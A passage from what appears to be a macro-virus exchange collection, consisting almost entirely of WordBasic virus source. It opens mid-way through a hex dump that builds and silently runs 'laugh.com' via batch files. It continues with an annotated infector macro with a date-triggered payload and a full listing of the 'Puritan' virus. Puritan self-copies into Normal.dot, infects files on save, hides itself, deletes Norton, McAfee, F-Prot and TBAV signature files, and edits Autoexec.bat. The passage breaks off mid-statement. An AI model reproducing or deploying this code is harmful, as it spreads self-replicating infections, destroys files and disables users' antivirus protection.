2E ED 13 4B B5 50 6F 5E 92 36 01 4D F1" Print #1, "E 0450 02 B6 9C 29 10 63 AD AF 03 35 9B EB 4A 7A 4E 87" Print #1, "E 0460 16 39 24 C8 FD 77 08 87 2E 65 BE BD F3 29 9C D9" Print #1, "E 0470 94 58 3D D2 B5 5A 0D 62 BD DE DB 73 5A 7A 2B 22" Print #1, "E 0480 3F 08 53 FD 57 A3 29 AA 7E 4F 0C 7A 08 A8 5D 87" Print #1, "E 0490 78 17 BD 2D 1A 85 FC FE A3 03 5D E3 49 95 FB 6C" Print #1, "E 04A0 2C 79 96 6E AE 52 2E 10 01 3A 1D 86 F3 A7 8D 43" Print #1, "E 04B0 88 AB FD 7B 45 18 2D E2 1D C8 DF 5B C2 75 C5 12" Print #1, "E 04C0 6C 45 1A 5B E3 5B B5 68 05 4F DC 69 8A 40 9D 87" Print #1, "E 04D0 CB F8 DD 8B 3E 0A AC AE 5D 12 DF 6B 49 B5 44 4C" Print #1, "E 04E0 53 4E 3D 02 A6 B8 72 AF F5 7E 4D A1 C1 2B 5E 1A" Print #1, "E 04F0 86 F4 9D D7 AB D8 EC E3 A5 59 9D 43 42 6D C4 FF" Print #1, "E 0500 DF 05 69 8D A7 CD AF 49 55 05 3C 3C 23 9C 9C 87" Print #1, "E 0510 B8 17 3E 20 FA 5E BF 4C 7E EA 23 D3 D9 54 AE D6" Print #1, "E 0520 A8 15 5F DF 7F 4D D7 55 FF 1F CF 61 41 02 8F E7" Print #1, "E 0530 35 0E 1F 6C 1B 99 7F E6 A5 05 21 DB 53 B5 43 E4" Print #1, "E 0540 A9 18 D7 F7 D7 5D DD DF 5D 1D DF 34 76 27 8F BC" Print #1, "E 0550 00 01 8F CF 02 E6 0F 26 23 23 A1 E2 52 95 A9 16" Print #1, "E 0560 03 18 D5 5D FD 77 FF DF 5D 15 EF 34 A2 03 0F E8" Print #1, "E 0570 75 D6 8F 0F 4A B9 DF 81 99 35 E3 5A 4A 75 8B D6" Print #1, "E 0580 30 1C F7 DF D7 9D 75 DF 7D 15 BF F2 B5 83 BF 68" Print #1, "E 0590 F2 29 3F FF 30 01 6F 66 EA DA 9D CA 39 51 AA 58" Print #1, "E 05A0 F2 15 5D D5 5D FD FF 55 7F 15 9F 76 2D 12 EF 3A" Print #1, "E 05B0 68 7D DF 0A 0B B4 8F EB F8 AF 17 52 C1 6C 91 77" Print #1, "E 05C0 52 29 55 5D DF 4F F5 5D DD 2F 3F 2B 8E 88 8F 35" Print #1, "E 05D0 D4 3F FF E1 F3 27 EF A2 06 2A DF 5A C9 50 B5 D8" Print #1, "E 05E0 63 35 F3 DD 4C 87 F7 D1 59 37 DF 64 79 A4 CF 95" Print #1, "E 05F0 F0 57 2E 3C B6 DC 8E 0D 1E 2D 61 53 C2 34 31 C1" Print #1, "E 0600 4A 19 4E FA 42 6B D7 7A 62 2F 8F 9A 92 E6 5F BE" Print #1, "E 0610 71 05 4E FF 38 C4 4E DD D9 1D 21 63 5A 51 12 E5" Print #1, "E 0620 3C 29 5B 17 CB EF 5D DF DF 2C 4E 42 7A 71 BE FC" Print #1, "E 0630 EB 1A CE 38 FC D6 FE CD E4 22 23 D3 5A 95 FA 98" Print #1, "E 0640 92 66 FD BE E0 93 22 50 A8 46 BE FE 48 F0 CF 22" Print #1, "E 0650 3E CB 2F AC 5A EA 0F EC 43 E3 DB D2 B9 54 AB 64" Print #1, "E 0660 D2 7E FD B7 E8 8D 72 89 0E 18 1E EA 43 B0 3E 55" Print #1, "E 0670 01 D3 EE FD 19 2A EE AF 52 93 E3 D2 CA 94 0B 85" Print #1, "E 0680 0E 3A 7F CB 5F BD F7 D5 D7 45 AF 72 9D 46 7F E1" Print #1, "E 0690 CC 38 7F F5 4D E5 0F C0 25 F1 E3 DA C1 94 C7 21" Print #1, "E 06A0 F2 15 D7 DF DF AF 5D 5F 55 15 DF C5 CC FA 9F 0D" Print #1, "E 06B0 9C 23 BF 86 BE 25 9F 72 EB FC A5 52 42 95 29 64" Print #1, "E 06C0 4A 16 5F 7F FD D5 DF FD 7F 17 6F BF D5 53 BF 91" Print #1, "E 06D0 41 12 5F 6E 8A 98 FF F7 92 EF E3 DA 42 79 48 DF" Print #1, "E 06E0 4B 16 D7 77 F7 15 7F 5F D7 5F 7F 2B A0 F6 3F DA" Print #1, "E 06F0 D3 57 EF B8 80 B9 0F AE 64 A9 DD C2 41 51 C9 23" Print #1, "E 0700 21 1B F7 5F 5F 27 77 D7 F7 25 4F E7 60 9A 8F D5" Print #1, "E 0710 A5 A2 5F 50 A1 D7 8F 09 C4 ED 4F 3A 2A 75 C0 8B" Print #1, "E 0720 04 25 D9 77 DD 55 CF 8E 6F 25 7F 55 5E 53 2F A6" Print #1, "E 0730 76 13 4F DE ED E1 AF 21 7C 1C D9 52 2A 71 29 D4" Print #1, "E 0740 E9 2F 92 0D 57 1F B5 09 98 4F 0F 1A 5B 4C 7E 10" Print #1, "E 0750 DC AA DF 24 28 EF 5F CB ED 94 9F DA 42 99 C9 27" Print #1, "E 0760 31 28 DF 7F FD F6 5F 4A A0 6F 0E 89 C1 BD 9E 10" Print #1, "E 0770 3A 07 9E FD 12 F8 0E A0 A9 49 25 63 B2 51 17 41" Print #1, "E 0780 52 4C 1C EF FF EF 0A 4B 7D 45 FE B7 5B 46 2E 25" Print #1, "E 0790 22 4B 7F DB 03 1A EE 68 5C 60 E1 4A D2 54 C4 ED" Print #1, "E 07A0 26 76 03 AE 42 6F 66 77 29 79 2F 94 C1 CD AF 04" Print #1, "E 07B0 99 B4 7E 71 0C 1A BF 5D DE FD E1 D2 CA 75 77 8F" Print #1, "E 07C0 8A 24 5F 7D DD 6F 7D 5D DF 25 4F FC 5C DA 3F 92" Print #1, "E 07D0 55 F7 BF 08 8E 89 7F 05 BE 0C 63 63 3A 75 DE D6" Print #1, "E 07E0 2F 25 75 DD F7 2F FF 7F F7 25 3F 06 06 64 8F 33" Print #1, "E 07F0 FA BF 6F 5E 14 6D CF A3 0E 27 A3 D3 32 95 AF 5A" Print #1, "E 0800 EB 25 DD D5 7D 57 FF DF FD 2D 7F 53 86 CB 9F 6C" Print #1, "E 0810 65 DD AF 32 7E 13 DF 68 6D 0E 23 D3 CA 74 09 5D" Print #1, "E 0820 2B 27 55 D5 F7 6D F7 77 F7 27 6F A4 D9 04 CF 4A" Print #1, "E 0830 F5 81 8F 52 CE 81 CF 6A C2 04 1B 63 2A 31 4A F8" Print #1, "E 0840 8A 24 57 F5 75 FF 55 FF F5 1F DF 6A 70 23 BF 3E" Print #1, "E 0850 B8 80 5F EF 40 A2 CF 6F 98 39 53 32 39 71 49 AD" Print #1, "E 0860 5D 2E 57 57 49 1F 80 CB F5 37 7F DE 49 56 6F AE" Print #1, "E 0870 3A 02 CF 7A E3 30 DE CC B4 99 61 E3 C9 74 17 D2" Print #1, "E 0880 5F 72 F3 5D EF 95 5F B7 8A 6F FF A3 20 03 5E 52" Print #1, "E 0890 D2 94 2E A4 95 22 4F 1D 4C 92 DF 5A C3 70 4A D8" Print #1, "E 08A0 22 56 CA ED 6A 45 47 F7 87 2B 3E 67 A9 0D EE 9E" Print #1, "E 08B0 D4 79 FE 52 00 66 7E 6B 76 AE E3 5B 3A 95 76 20" Print #1, "E 08C0 FF 5E AA 3C 26 B2 3D 5F 3F 7B BF 6D DE 8E EE 84" Print #1, "E 08D0 84 D3 DE 44 B4 0D BE 5A E4 F5 5D 53 B2 70 76 12" Print #1, "E 08E0 31 29 FD 20 63 FD AD 57 AF 44 4E 26 FD AB 5E 65" Print #1, "E 08F0 18 85 2E C9 B2 1F DE 00 FA 29 5D E3 B2 95 8E 53" Print #1, "E 0900 64 24 F9 C7 F7 6F 7F 77 5F 15 9E E5 CA 19 AD 4E" Print #1, "E 0910 7E DA 8F 82 96 F5 7F 06 76 08 A3 62 CC B8 EF 93" Print #1, "E 0920 B0 18 57 77 FD FD 7F D5 FD 0F 7F 5D C6 7C 3F 88" Print #1, "E 0930 4C 8A CF 3E 70 0F 9F 90 C4 1C E3 DA 54 99 23 57" Print #1, "E 0940 6C 3F 7D DD 5F 07 57 DD 7F 1F 9F DC 64 94 5F 88" Print #1, "E 0950 AB 9E CF 45 DC 11 7F A2 A3 5E 25 DB 42 D9 A1 1A" Print #1, "E 0960 64 18 F5 F7 77 6D DF FD DF 17 4F 67 6C 3D 8F 21" Print #1, "E 0970 9B 11 0F 50 B6 AC 4F 79 7E 5C E7 5A BB B9 3D A1" Print #1, "E 0980 EE 14 FF 57 FD B5 FF 77 5F 5F 6F 4E 02 61 DF 72" Print #1, "E 0990 36 C3 1F 8E 08 BF 7F B7 BA 15 A5 5B C2 94 5B B3" Print #1, "E 09A0 F0 65 F7 DD FD A5 75 DF FD 1D 7F 61 DA 55 EF 29" Print #1, "E 09B0 B4 70 2F 2F CB 62 9F ED 5D F8 21 6B CA 71 8C 0B" Print #1, "E 09C0 6C 53 FD D5 57 75 D7 DF DF 7D 4F 1A 8B F0 0F AD" Print #1, "E 09D0 31 CF 7F DA 68 99 FF 86 0C BB 21 D3 A1 70 C1 18" Print #1, "E 09E0 71 75 FF 75 E6 B1 5B 9F 71 75 8F BF A4 D2 BF 46" Print #1, "E 09F0 F9 32 3F 54 98 1B 7F 6B 26 09 A1 62 54 95 92 D5" Print #1, "E 0A00 73 55 DD BF 80 CB AE 9F 2B 2F 7F E5 95 F2 0F 9A" Print #1, "E 0A10 BD BD DF 7F 83 F6 7F 64 D6 11 21 E3 BA 98 31 18" Print #1, "E 0A20 26 76 FC D7 CF 1D AB 89 F6 1F CE 28 FD 13 3E 32" Print #1, "E 0A30 DB 9E BF CD DD 5B 3E 70 76 AE A3 5A CB 70 F6 23" Print #1, "E 0A40 11 56 C8 B3 6A C4 FE F5 7F 37 6F C7 32 CB DF 5A" Print #1, "E 0A50 8B C8 BE 4E 64 A4 4E FA AD F5 61 DB 32 95 9B 5A" Print #1, "E 0A60 2D 26 5C 7F E6 36 E8 AE A3 28 7E 71 98 9C 9F 7C" Print #1, "E 0A70 3B 64 BF 7B 8A 03 5E 89 6B 02 DF D2 B1 90 C9 20" Print #1, "E 0A80 F1 22 54 26 EB BD 82 0B 02 1F BE FB 33 1D DE F1" Print #1, "E 0A90 3B 85 CE 47 B8 38 1E E1 E9 C3 23 63 43 91 A4 8E" Print #1, "E 0AA0 1D 56 A8 2D 30 AB 9A 7D 9F 5D 5F 66 60 88 8F 5F" Print #1, "E 0AB0 F9 7D 6F 53 34 14 2E 72 0D D1 5F 6B B2 94 C9 14" Print #1, "E 0AC0 B2 55 FF FF 3F 49 7D DD DD 2D 2E 8A CE E2 7F AF" Print #1, "E 0AD0 96 87 4F 2C 15 9B 0F 65 C2 1E 65 EB 3A B5 70 BD" Print #1, "E 0AE0 AB 58 77 D7 D7 0D D5 75 FF 2F 0F 0C 99 C7 9F D6" Print #1, "E 0AF0 E5 D3 6F 76 F2 E5 FF 6A 54 5F A3 5B 3B 99 27 63" Print #1, "E 0B00 0A 2D 57 FF DD 7F DD D7 FF 55 BF EA 7A 00 3F CA" Print #1, "E 0B10 09 5A CF F0 25 30 AF AC 1E 42 61 EB 33 99 29 E0" Print #1, "E 0B20 45 29 F5 F7 F7 3D 77 7F FD 65 DF A4 1E 9C CF A0" Print #1, "E 0B30 CE 37 2F 0F E4 C7 1F 60 AA 2D E1 EB C2 99 1F 59" Print #1, "E 0B40 EB 68 F5 DD 77 E7 F5 FF F5 2F BF 58 56 30 7F 9A" Print #1, "E 0B50 6E 1E 0F 47 98 2F DF 22 28 9B 61 E3 C3 B9 83 5A" Print #1, "E 0B60 AD 35 57 1F 62 1D 57 7F 5D 35 FF 51 5C 32 8F 87" Print #1, "E 0B70 FC 76 BF 4F 28 7E 6F 5A C5 09 5F F3 C9 9D 9C 27" Print #1, "E 0B80 61 73 7F DD FF A7 D8 DD D7 2D 4F DB 9C 06 1F 10" Print #1, "E 0B90 F0 10 2F 3E 62 0F 2F 08 61 EB 61 6B B2 B9 2E D7" Print #1, "E 0BA0 20 39 DF F7 75 B6 F5 D7 DD 3F 6F A4 08 DD 1F 69" Print #1, "E 0BB0 A6 66 6F CF 53 1E DF 8F 04 E5 1D 6B 5B 75 2F 61" Print #1, "E 0BC0 8D 38 DD 7F 55 9D 7E 9F 8D 34 FF 21 0A B1 AF 07" Print #1, "E 0BD0 6E 36 0F A2 CA 57 8F A4 01 84 E1 63 33 BD BC 54" Print #1, "E 0BE0 56 3B 5D FF FF CD 55 F7 CB 3E 9F 1A 00 F5 1F 2D" Print #1, "E 0BF0 73 0A 1F B0 BE 30 2F F6 BA EC 23 64 33 DD C0 1E" Print #1, "E 0C00 F0 39 15 7F D5 DC F7 9F FB 37 6F 9D 62 6C 4F A5" Print #1, "E 0C10 5D 28 BF 03 73 B9 AF 33 F8 98 61 EC 41 99 AA D2" Print #1, "E 0C20 89 34 B6 75 5F 06 E2 3D 63 4E 1F 4E 23 F9 EF 4B" Print #1, "E 0C30 6E CB 5F 87 B0 88 4F 26 42 E2 1F E4 B2 BD C9 E2" Print #1, "E 0C40 9F 33 5D EE C8 E4 BB 7F 05 5D 1F 22 79 F3 1F B0" Print #1, "E 0C50 D6 DD 8F 0F 4C 8F 2F 8C 66 92 9F 6B B4 BD 7C B1" Print #1, "E 0C60 C7 46 EE 84 E3 4D FF 91 6A 4A 8F 1E 02 01 2F 1C" Print #1, "E 0C70 80 DF CF D3 1B 05 9F 86 5A 09 1F 6C 51 DA 2B 7E" Print #1, "E 0C80 8D 50 5D 55 C4 8F 9F AB 2A 79 9F B6 C2 CE 0E 26" Print #1, "E 0C90 81 89 9F 9B DE 73 1F 90 EE 9B DF DC 3A BE 42 A1" Print #1, "E 0CA0 40 48 6A B4 63 8D A7 BF B2 4A 6F 5C 13 A3 EE 52" Print #1, "E 0CB0 F6 E3 6E B8 C4 C4 7F C7 49 29 5D 6B D3 BD 0C 9D" Print #1, "E 0CC0 0B 43 3B DD 62 97 FD AC 63 4F 4E 57 10 8E 6F 3B" Print #1, "E 0CD0 69 4F 6F A8 0C 15 AF 0C C6 EB DF EB D1 B9 3D 2D" Print #1, "E 0CE0 2C 58 50 15 D9 4C D5 FD FF 61 CF 21 01 31 2F 1D" Print #1, "E 0CF0 61 A4 BE 10 D8 FA AE 88 E8 BE 1F 64 C2 99 1A 64" Print #1, "E 0D00 32 45 ED 9F 94 C9 0E 7D F7 4D BE 30 BC 94 2F E8" Print #1, "E 0D10 5D 82 0E 9C 7A 4D 9E D0 EB E5 1F EC BA BD 40 62" Print #1, "E 0D20 E0 4D 36 7F 46 D1 8A F0 3F 4B CE A6 4E 1F 7E 25" Print #1, "E 0D30 E5 53 4F 61 B4 FE AE A0 A0 86 E1 64 61 B9 C8 F1" Print #1, "E 0D40 06 48 FF 57 1F 02 42 80 B0 5A FE DE 41 E4 EE 86" Print #1, "E 0D50 D8 B2 2F 84 CE 88 3F 1D E8 E4 1F 64 CA 9A 8B 56" Print #1, "E 0D60 D1 5C 9A 9F C0 4B 14 7F 3A 55 2E 13 0D BF 3F A9" Print #1, "E 0D70 8B 73 EE CE 1C F1 9E 87 30 03 A1 D4 CA BD B5 7A" Print #1, "E 0D80 69 55 3A D8 1F 79 7D D5 FF 5D 9F D7 65 80 AE 44" Print #1, "E 0D90 CA 6E FE E5 9D CD 0D F9 FC 26 E3 EB 32 B9 02 62" Print #1, "E 0DA0 03 1D 3B 04 68 AA 02 F7 B9 5F 7F 4A 11 A1 7F 3F" Print #1, "E 0DB0 5A 92 CF 41 D4 8E AF BD 85 F8 61 E4 41 99 AB A0" Print #1, "E 0DC0 3D 55 8E 4A 9D CB EB 99 E6 5F AF 32 26 D6 8E F0" Print #1, "E 0DD0 9A 31 FD 17 9B 1D 6F 03 AD 3A E1 6B 2A 96 88 D8" Print #1, "E 0DE0 8A 55 89 3F DD 04 82 9F 12 68 4F AF 34 BC 0E FE" Print #1, "E 0DF0 5B BD DE 4B BB 91 7F 9E 50 CC 5B DC D3 99 2B 5B" Print #1, "E 0E00 0C 56 6F 97 DF FB 9A D9 00 59 FD F4 18 AD BE 4F" Print #1, "E 0E10 00 F9 6D F1 A1 B5 6E 49 50 F2 5D 6B C2 99 10 24" Print #1, "E 0E20 F1 54 FD AE 6F 09 EA 3D 02 69 6D EC C2 B1 6E F3" Print #1, "E 0E30 E3 8A EE 0A 85 87 3F 05 8C D5 17 6C 53 95 DA E4" Print #1, "E 0E40 86 33 32 A2 BA BF 21 94 AA 66 2E DF 01 C5 DD 61" Print #1, "E 0E50 AC 77 9E 78 31 18 1E CC 69 B9 9B 63 4A 99 12 DB" Print #1, "E 0E60 43 29 C3 7D 9D 8B EA 85 D8 73 9C 17 09 50 3E 02" Print #1, "E 0E70 C6 D9 3E 43 5B 25 3D 31 10 9B 1D 5C C2 75 9B 77" Print #1, "E 0E80 8C 48 02 41 F7 BF 0A C5 9D 4B 7E 3F 61 F7 6D 26" Print #1, "E 0E90 05 92 2D 7E 4A D0 7C 3A 78 A2 1F 64 C2 BD 12 20" Print #1, "E 0EA0 71 6E 7D 63 89 EA BB 9B 90 3F CD 15 A1 4C 8E 69" Print #1, "E 0EB0 76 84 3C 15 00 9E 6C 05 80 5D 1F EC C9 BD 27 D8" Print #1, "E 0EC0 AA 3B 8B 7F A5 66 C3 CE 8A 26 AD 49 AD A8 2C B0" Print #1, "E 0ED0 33 DB 8C 1F 81 9B EC D7 E9 82 21 EC 31 9A 28 B3" Print #1, "E 0EE0 37 66 0A 51 E0 9A E3 1F A8 5D 7D 83 28 8E FD EE" Print #1, "E 0EF0 91 27 2C 8C 6B 13 7D AC F0 C9 9F E4 C1 79 0B A2" Print #1, "E 0F00 12 05 B5 CA BF 77 28 FF EA 77 CC 46 6A 80 BC 35" Print #1, "E 0F10 D3 26 EC 69 48 97 FC CC E2 68 DD EB C2 BD E8 60" Print #1, "E 0F20 6C 7F CA 94 64 7B 83 95 6B 47 1D A6 B5 07 9C 47" Print #1, "E 0F30 04 20 1B 91 2B 75 0B E8 2B CB" Print #1, "RCX" Print #1, "0E3A" Print #1, "W" Print #1, "Q" Close #1 Open G$ + "Sounda.bat" For Output As #1 Print #1, "@echo off" Print #1, "debug < " + G$ + "laugh.scr > nul" Close #1 Shell G$ + "Sounda.bat", 0 n = Seconde(Maintenant()) Timer = n + 25 If Timer > 59 Then Timer = Timer - 60 While Seconde(Maintenant()) <> Timer Wend Beep Open G$ + "Rename.bat" For Output As #1 Print #1, "@echo off" Print #1, "copy laugh.com laugh.wav" Close #1 Shell G$ + "Rename.bat", 0 n = Seconde(Maintenant()) Timer = n + 5 If Timer > 59 Then Timer = Timer - 60 While Seconde(Maintenant()) <> Timer Wend Beep Finish: End Sub --------------------------- Macro M8908 PURPOSE : Infected a document Test if the payload macro must be launch Sub MAIN On Error Goto Finish A$ = NomFichier$() If A$ = "" Then Goto Finish UZ$ = GetProfileString$("Intl", "Name") ZU$ = GetProfileString$("Intl", "Name2") ZUZ$ = GetProfileString$("Intl", "Name3") If CheckInstalledDoc = 1 Then Goto Finish Else On Error Resume Next FichierEnregistrerSous .Format = 1 Routine Crypt PayloadMakro FichierEnregistrerTout 1, 0 End If Finish: A$ = NomFichier$() If A$ = "" Then Goto Finito Else Insertion "e" End If Finito: If Mois(Maintenant()) = 1 And Jour(Maintenant()) = 20 Then Goto Payload Else Goto NO End If Payload: -> test if it's the version 7.0 of WINWORD If (InStr(AppInfo$(1), "Macintosh") > 0) Then Goto NO If (InStr(AppInfo$(1), "Windows 3.") > 0) Then Goto NO If Left$(AppInfo$(2), 1) = "6" Then Goto NO Else Goto YES End If YES: WordVer = Val(Left$(AppInfo$(2), 1)) AL$ = Str$(WordVer) AL$ = LTrim$(AL$) If AL$ = "7" Then Goto Payload_Start Else Goto NO End If Payload_Start: AK$ = GetProfileString$("Intl", "Name3") OutilsMacro .Nom = AK$, .Excuter, .Afficher = 0, .Description = "", .NouvNom = "" NO: End Sub Sub Crypt -> sub-program to create the name of the macro number 2 and copy to a new file One = 7369 Two = 9291 Num = Int(Rnd() * (Two - One) + One) A$ = Str$(Num) A$ = LTrim$(A$) Beginn = Heure(Maintenant()) B$ = Str$(Beginn) B$ = LTrim$(B$) If B$ = "1" Then C$ = "A" If B$ = "2" Then C$ = "B" If B$ = "3" Then C$ = "C" If B$ = "4" Then C$ = "D" If B$ = "5" Then C$ = "E" If B$ = "6" Then C$ = "F" If B$ = "7" Then C$ = "G" If B$ = "8" Then C$ = "H" If B$ = "9" Then C$ = "I" If B$ = "10" Then C$ = "J" If B$ = "11" Then C$ = "K" If B$ = "12" Then C$ = "L" If B$ = "13" Then C$ = "M" If B$ = "14" Then C$ = "N" If B$ = "15" Then C$ = "O" If B$ = "16" Then C$ = "P" If B$ = "17" Then C$ = "Q" If B$ = "18" Then C$ = "R" If B$ = "19" Then C$ = "S" If B$ = "20" Then C$ = "T" If B$ = "21" Then C$ = "U" If B$ = "22" Then C$ = "V" If B$ = "23" Then C$ = "W" If B$ = "00" Then C$ = "X" E$ = C$ + A$ ZU$ = GetProfileString$("Intl", "Name2") MacroCopie "Global:" + ZU$, NomFentre$() + ":" + E$ DfinitVarDocument "VirNameDoc", E$ OutilsPersonnaliserClavier .CodeTouche = 69, .Catgorie = 2, .Nom = E$, .Ajouter, .Contexte = 1 End Sub Sub Routine -> sub-program to create the name of the macro number 1 and copy to a new file One = 7369 Two = 9291 Num = Int(Rnd() * (Two - One) + One) A$ = Str$(Num) A$ = LTrim$(A$) Beginn = Heure(Maintenant()) B$ = Str$(Beginn) B$ = LTrim$(B$) If B$ = "1" Then C$ = "A" If B$ = "2" Then C$ = "B" If B$ = "3" Then C$ = "C" If B$ = "4" Then C$ = "D" If B$ = "5" Then C$ = "E" If B$ = "6" Then C$ = "F" If B$ = "7" Then C$ = "G" If B$ = "8" Then C$ = "H" If B$ = "9" Then C$ = "I" If B$ = "10" Then C$ = "J" If B$ = "11" Then C$ = "K" If B$ = "12" Then C$ = "L" If B$ = "13" Then C$ = "M" If B$ = "14" Then C$ = "N" If B$ = "15" Then C$ = "O" If B$ = "16" Then C$ = "P" If B$ = "17" Then C$ = "Q" If B$ = "18" Then C$ = "R" If B$ = "19" Then C$ = "S" If B$ = "20" Then C$ = "T" If B$ = "21" Then C$ = "U" If B$ = "22" Then C$ = "V" If B$ = "23" Then C$ = "W" If B$ = "00" Then C$ = "X" D$ = C$ + A$ UZ$ = GetProfileString$("Intl", "Name") MacroCopie "Global:" + UZ$, NomFentre$() + ":" + D$ DfinitVarDocument "VirName", D$ OutilsPersonnaliserClavier .CodeTouche = 32, .Catgorie = 2, .Nom = D$, .Ajouter, .Contexte = 1 End Sub Sub PayloadMakro -> sub-program to create the name of the macro number 3 (payload) and copy to a new file One = 7369 Two = 9291 Num = Int(Rnd() * (Two - One) + One) A$ = Str$(Num) A$ = LTrim$(A$) Beginn = Heure(Maintenant()) B$ = Str$(Beginn) B$ = LTrim$(B$) If B$ = "1" Then C$ = "A" If B$ = "2" Then C$ = "B" If B$ = "3" Then C$ = "C" If B$ = "4" Then C$ = "D" If B$ = "5" Then C$ = "E" If B$ = "6" Then C$ = "F" If B$ = "7" Then C$ = "G" If B$ = "8" Then C$ = "H" If B$ = "9" Then C$ = "I" If B$ = "10" Then C$ = "J" If B$ = "11" Then C$ = "K" If B$ = "12" Then C$ = "L" If B$ = "13" Then C$ = "M" If B$ = "14" Then C$ = "N" If B$ = "15" Then C$ = "O" If B$ = "16" Then C$ = "P" If B$ = "17" Then C$ = "Q" If B$ = "18" Then C$ = "R" If B$ = "19" Then C$ = "S" If B$ = "20" Then C$ = "T" If B$ = "21" Then C$ = "U" If B$ = "22" Then C$ = "V" If B$ = "23" Then C$ = "W" If B$ = "00" Then C$ = "X" K$ = C$ + A$ ZUZ$ = GetProfileString$("Intl", "Name3") MacroCopie "Global:" + ZUZ$, NomFentre$() + ":" + K$ DfinitVarDocument "VirNamePayload", K$ End Sub Function CheckInstalledDoc -> test if the file is still infected On Error Resume Next CC$ = LitVarDoc$("VirNameDoc") CheckInstalledDoc = 0 If CompteMacros(1) > 0 Then For i = 1 To CompteMacros(1) If NomMacro$(i, 1) = CC$ Then CheckInstalledDoc = 1 End If Next i End If End Function ------------------------------------------------- [ WordMacro. Puritan (1) ] VIRUSNAME: Puritan (1) SIZE: 6607 Bytes (6 Macros) ORIGIN: The Netherlands AUTHOR: Neophyte ->Polymorf No ->Stealth Yes ->Encrypted Yes, this file not but see virii.zip for encrypted version. ->Retro Yes ----------------------------------------------------------- Macro AutoOpen ----------------------------------------------------------- Sub MAIN On Error Goto Z 'Error Handler. iM = CountMacros(0, 0) 'Count macros in Normal.Dot For i = 1 To M 'Check if Normal.Dot (Global... If M$(i, 0, 0) = "Puritan" Then Y = - 1 End If 'Template) is already infected. Next i If Not Y Then 'If not infected copy all macros... F$ = FileName$() 'from infected file to Normal.Dot... S$ = F$ + ":Puritan" '(Global Template). MacroCopy S$, "Global:Puritan" S$ = F$ + ":Rtr" MacroCopy S$, "Global:Retro" S$ = F$ + ":FSAB" MacroCopy S$, "Global:FileSaveAs" S$ = F$ + ":FSAB" MacroCopy S$, "Global:FSAB" S$ = F$ + ":AOB" MacroCopy S$, "Global:AOB" S$ = F$ + ":ToolsMacro" MacroCopy S$, "Global:ToolsMacro" End If ToolsMacro .Name = "Retro", .Run, .Show = 0, .Discription = "", .NewName = "" 'After infection run the Retro macro... 'to attack AV software. Z: End Sub ----------------------------------------------------------- Macro AOB ----------------------------------------------------------- Sub MAIN On Error Goto Z 'Error Handler. iM = CountMacros(0, 0) 'Count macros in Normal.Dot For i = 1 To M 'Check if Normal.Dot (Global... If M$(i, 0, 0) = "Puritan" Then Y = - 1 End If 'Template) is already infected. Next i If Not Y Then 'If not infected copy all macros... F$ = FileName$() 'from infected file to Normal.Dot... S$ = F$ + ":Puritan" '(Global Template). MacroCopy S$, "Global:Puritan" S$ = F$ + ":Rtr" MacroCopy S$, "Global:Retro" S$ = F$ + ":FSAB" MacroCopy S$, "Global:FileSaveAs" S$ = F$ + ":FSAB" MacroCopy S$, "Global:FSAB" S$ = F$ + ":AOB" MacroCopy S$, "Global:AOB" S$ = F$ + ":ToolsMacro" MacroCopy S$, "Global:ToolsMacro" End If ToolsMacro .Name = "Retro", .Run, .Show = 0, .Discription = "", .NewName = "" 'After infection run the Retro macro... 'to attack AV software. Z: End Sub ----------------------------------------------------------- Macro FSAB ----------------------------------------------------------- Sub MAIN Dim dlg As FileSaveAs 'This is just a simple... On Error Goto Z 'FileSaveAs Backup macro, F$ = FileName$() 'it's sort of the same as... GetCurValues dlg 'the concept virus. Dialog dlg If dlg.Format = 0 Then dlg.Format = 1 T$ = F$ + ":AutoOpen" MacroCopy "Global:AOB", T$ T$ = F$ + ":Retro" MacroCopy "Global:Rtr", T$ T$ = F$ + ":AOB" MacroCopy "Global:AOB", T$ T$ = F$ + ":FSAB" MacroCopy "Global:FSAB", T$ T$ = F$ + ":Puritan" MacroCopy "Global:Puritan", T$ T$ = F$ + ":ToolsMacro" MacroCopy "Global:ToolsMacro", T$ FileSaveAs dlg Goto Q Z: If Err <> 102 Then FileSaveAs dlg End If Q: End Sub ----------------------------------------------------------- Macro Puritan 'Just some dull text ----------------------------------------------------------- REM The Style of macro virii was invented by REM those with an Open mind... REM If you have an Open mind To other influences REM you will grow out as one of the best... 'Poet of the highest quality ;-) from '--- Neophyte ---- ----------------------------------------------------------- Macro Rtr 'For attacking AV products. ----------------------------------------------------------- Sub MAIN On Error Goto a 'Error Handler VF$ = "C:\Program Files\Norton AntiVirus\Virscan.Dat" 'VF$ are the scan strings... 'from NAV. If Files$(VF$) = "" Then Goto a 'If VF$ not exists goto a. SetAttr VF$, 0 'Else set attributes to none. Kill VF$ 'Then delete VF$ (The cool stuff). a: On Error Goto c 'Error Handler. AB$ = "C:\Autoexec.bat" 'AB$ is AutoExec.bat. If Files$(AB$) = "" Then Goto c 'If AB$ doesn't exists goto c. SetAttr AB$, 0 'else set attributes to none. Open AB$ For Append As #1 'And open AB$ for appending. Print #1, "@echo off" 'Put this at the end of the... Print #1, "IF exist " + VF$ + " then del " + VF$ 'AutoExec.bat. Close #1 'Close the AutoExec.bat. c: 'All this down here should look... On Error Goto d 'familiar, because it's the... VF$ = "C:\Program Files\F-Prot95\Fpwm32.dll" If Files$(VF$) = "" Then Goto d 'same as above, only with other... SetAttr VF$, 0 'file names. Kill VF$ d: AB$ = "C:\Autoexec.bat" If Files$(AB$) = "" Then Goto f SetAttr AB$, 0 Open AB$ For Append As #1 Print #1, "IF exist " + VF$ + " then del " + VF$ Close #1 f: On Error Goto g VF$ = "C:\Program Files\McAfee\Scan.dat" If Files$(VF$) = "" Then Goto g SetAttr VF$, 0 Kill VF$ g: AB$ = "C:\Autoexec.bat" If Files$(AB$) = "" Then Goto h SetAttr AB$, 0 Open AB$ For Append As #1 Print #1, "IF exist " + VF$ + " then del " + VF$ Close #1 h: On Error Goto i VF$ = "C:\Tbavw95\Tbscan.sig" If Files$(VF$) = "" Then Goto i SetAttr VF$, 0 Kill VF$ i: AB$ = "C:\Autoexec.bat" If Files$(AB$) = "" Then Goto j SetAttr AB$, 0 Open AB$ For Append As #1 Print #1, "IF exist " + VF$ + " then del " + VF$ Close #1 J: Z: End Sub ----------------------------------------------------------- Macro ToolsMacro 'copied from NJ's MooNRaiDer virus, only a bit changed. ----------------------------------------------------------- Sub MAIN B$ = "Out of memory." 'B$ is the text Out Of Memory. C$ = "WordBasic Err = 7" 'C$ is the text WordBasic Err = 7. Dim ComboBox1$(0) ComboBox1$(0) = "" 'ComboBox1$ is empty. Dim ListBox1$(0) ListBox1$(0) = "" 'ListBox1$ is empty. Dim 